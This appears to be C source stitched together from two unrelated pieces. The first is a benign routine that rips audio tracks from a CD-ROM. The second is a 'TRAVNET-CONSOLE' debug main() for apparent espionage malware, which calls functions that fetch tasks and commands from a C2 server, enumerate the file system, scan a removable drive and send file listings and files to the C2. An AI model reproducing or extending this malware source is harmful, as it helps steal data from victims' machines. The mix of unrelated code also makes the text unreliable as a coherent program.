/* ======================================================================= */ DWORD WINAPI ThreadMain(PWINDOWHANDLES H) { DWORD ExitCode = 0; UCHAR CDDrive = GetCDROMDrive(H); if(CDDrive != 0) { HANDLE CDDriveHandle = OpenCDROMDrive(H, CDDrive); if(CDDriveHandle != INVALID_HANDLE_VALUE) { DWORD DiscTotal, TrackCount; PCDTRACK CDTrackData = GetCDROMTracks(H, CDDriveHandle, &DiscTotal, &TrackCount); if(CDTrackData != NULL) { CHAR BasePath[MAX_PATH]; CHAR CurDir[MAX_PATH]; _getcwd(CurDir, MAX_PATH); _snprintf(BasePath, MAX_PATH, "%s\\%08X", CurDir, GetVolumeSerialNumber(CDDrive)); Log(LOG_WRITE, "Base path is %s", BasePath); if(DumpCDAudioTracks(H, CDDriveHandle, DiscTotal, TrackCount, CDTrackData, BasePath) == false) ExitCode = 4; delete CDTrackData; } else ExitCode = 3; if(CloseHandle(CDDriveHandle) == FALSE) Log(LOG_WRITE, "Error code %u closing CD-ROM drive handle", GetLastError()); } else ExitCode = 2; } else ExitCode = 1; SendMessage(H->WH, WM_CLOSE, 1, 0); return ExitCode; }
int main() { PRINTDBG("[TRAVNET-CONSOLE]\n"); PRINTDBG("This executable is only for debug purpose.\n\n"); PRINTDBG("\n[INFO]\n"); GetVolumeSerialNumber(g_szVolumeSerialNr, 260); GetHostInfo(g_szHostname, 260, g_szHostByName); LoadConfig(); #ifdef _DEBUG CHAR szConfigPath[260]; CHAR szWinDir[260]; GetWindowsDirectory(szWinDir, 260); sprintf(szConfigPath, "%s\\system\\config_t.dat", szWinDir); PRINTDBG("Config file : %s\n", szConfigPath); #endif PRINTDBG("Temp file dir: %s\n", g_szTmpPath); PRINTDBG("UDIdx path : %s\n", g_szUDIdx); PRINTDBG("UEnumFS path : %s\n", g_szUEnumFS); PRINTDBG("EnumFS path : %s\n", g_szEnumFS); PRINTDBG("DNList path : %s\n", g_szDNList); PRINTDBG("Stat_T path : %s\n", g_szStat_T); PRINTDBG("System dir : %s\n", g_szSysDir); PRINTDBG("\n[FUNCTIONS]\n"); PRINTDBG("GetTaskFromC2 : %s\n", sc_szTasks[GetTaskFromC2()]); PRINTDBG("SendCMDRecvToC2: %d\n", SendCMDRecvToC2()); PRINTDBG("GetCMDFromC2 : %d\n", GetCMDFromC2()); //PRINTDBG("SendFileToC2 : %d\n", SendFileToC2("local-test-file.txt", "remote-test-file.txt")); PRINTDBG("GenerateEnumFS : %d\n", GenerateEnumFS()); PRINTDBG("SendEnumFSToC2 : %d\n", SendEnumFSToC2()); PRINTDBG("SendDNListFilesToC2 : %d\n", SendDNListFilesToC2()); ScanDevice("E:\\"); PRINTDBG("SendUEnumFSToC2: %d\n", SendUEnumFSToC2()); TaskReset(); system("pause"); return 0; }